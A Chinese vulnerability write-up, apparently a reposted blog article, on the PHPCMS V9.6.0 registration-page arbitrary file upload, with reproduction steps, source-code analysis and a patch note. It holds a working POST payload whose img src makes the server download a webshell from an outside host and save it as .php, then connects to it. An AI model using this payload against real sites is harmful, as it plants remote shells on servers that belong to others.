PHPCMS V9.6.0_前台任意文件上传

admin 2023年4月9日12:49:30评论60 views字数 2438阅读8分7秒阅读模式

影响范围

PHPCMS V9.6.0

攻击类型

任意文件上传

利用条件

影响范围应用

漏洞概述

2017年4月份左右PHPCMS V9.6被曝出注册页面存在任意文件上传漏洞,通过该漏洞攻击者可以在未授权的情况下上传任意文件,甚至getshell

漏洞复现

利用方式1

首先打开用户注册页面,之后随意填写数据,同时使用burpsuite抓取数据包:

http://192.168.174.138/phpcms/index.php?m=member&c=index&a=register&siteid=1

PHPCMS V9.6.0_前台任意文件上传

之后发送到repeater模块,同时修改请求数据包中的请求数据为:

siteid=1&modelid=11&username=joe&password=123456&[email protected]&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=

PHPCMS V9.6.0_前台任意文件上传

文件成功上传

PHPCMS V9.6.0_前台任意文件上传

利用方式2

在Firefox中访问用户注册页面,同时通过hackbar来POST以下请求(这里的img标签中的src为可以访问到的VPS中的webshell木马程序访问地址):

siteid=1&modelid=11&username=Al1ex&password=1234567&[email protected]&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=

PHPCMS V9.6.0_前台任意文件上传

之后更具目录去相关目录下查看文件,发现webshell确实已经被成功上传:

PHPCMS V9.6.0_前台任意文件上传

之后使用蚁剑来连接:

PHPCMS V9.6.0_前台任意文件上传

PHPCMS V9.6.0_前台任意文件上传

漏洞分析

首先我们需要查看一下用户的注册功能"phpcms/modules/member/index.php"中的register函数:

PHPCMS V9.6.0_前台任意文件上传

从上面的流程可以看到首先是获取用户的siteid,之后定义了站点的id并加载了用户模块和短信模块的配置,之后通过对"$_POST['dosubmit']"是否为空进行判断来确定是否要进入用户注册流程当中,而我们这里自然是不为空了,所以我们继续跟进。之后通过查看代码我们可以看到对于用户的信息验证代码在L129行开始,同时我们之前在漏洞验证过程中的关键词"info"也出现了,我们继续跟进:

PHPCMS V9.6.0_前台任意文件上传

从上面的代码中我们可以看到对于post进的info信息首先通过"new_html_special_chars"来转义了一下HTML特殊字符,之后用将其传入到了member_input中,之后我们跟进get函数来看看:

PHPCMS V9.6.0_前台任意文件上传

从上面可以看到这里首先通过trim_sript函数:

PHPCMS V9.6.0_前台任意文件上传

从函数功能来看这里只是对用户的输入的数据中的javscript代码进行了一次转义。

在get函数中有个关键的点就是if(is_array($data)),我们payload中的info就是个数组,所以能走进这个if条件中,继续跟。 先是用foreach进行遍历$info,键名为$field,键值为$value,首先用safe_replace进行了一次安全替换:

PHPCMS V9.6.0_前台任意文件上传

之后我们再次返回到get函数中,由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:

PHPCMS V9.6.0_前台任意文件上传

接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:

PHPCMS V9.6.0_前台任意文件上传

函数中先对$value中的引号进行了转义,然后使用正则匹配:

$ext = 'gif|jpg|jpeg|bmp|png';...$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i",$string, $matches)) return $value;

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:

PHPCMS V9.6.0_前台任意文件上传

可以看到#.jpg会被自动删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。随后在这一行带入了函数fillurl:

PHPCMS V9.6.0_前台任意文件上传

同时在fillurl中去掉了#后的内容:

$pos = strpos($surl,'#');        if($pos>0) $surl = substr($surl,0,$pos);

随后便进行下载:

PHPCMS V9.6.0_前台任意文件上传

其中$upload_func等同于php的copy函数。 然而:

PHPCMS V9.6.0_前台任意文件上传

而fopen一般都是可用的,如果开启了allow_url_fopen,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen。 

最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数至此,该漏洞分析完成。

漏洞POC

pocsuite3

POC完整脚本后台回复"PHPCMS"下载

PHPCMS V9.6.0_前台任意文件上传

修复建议

 phpcms 发布了9.6.1版本,针对该漏洞的具体补丁如下,在获取文件扩展名后再对扩展名进行检测

PHPCMS V9.6.0_前台任意文件上传


参考链接

https://www.seebug.org/vuldb/ssvid-92930

原文始发于微信公众号(七芒星实验室):PHPCMS V9.6.0_前台任意文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月9日12:49:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPCMS V9.6.0_前台任意文件上传https://cn-sec.com/archives/1662602.html

发表评论

匿名网友 填写信息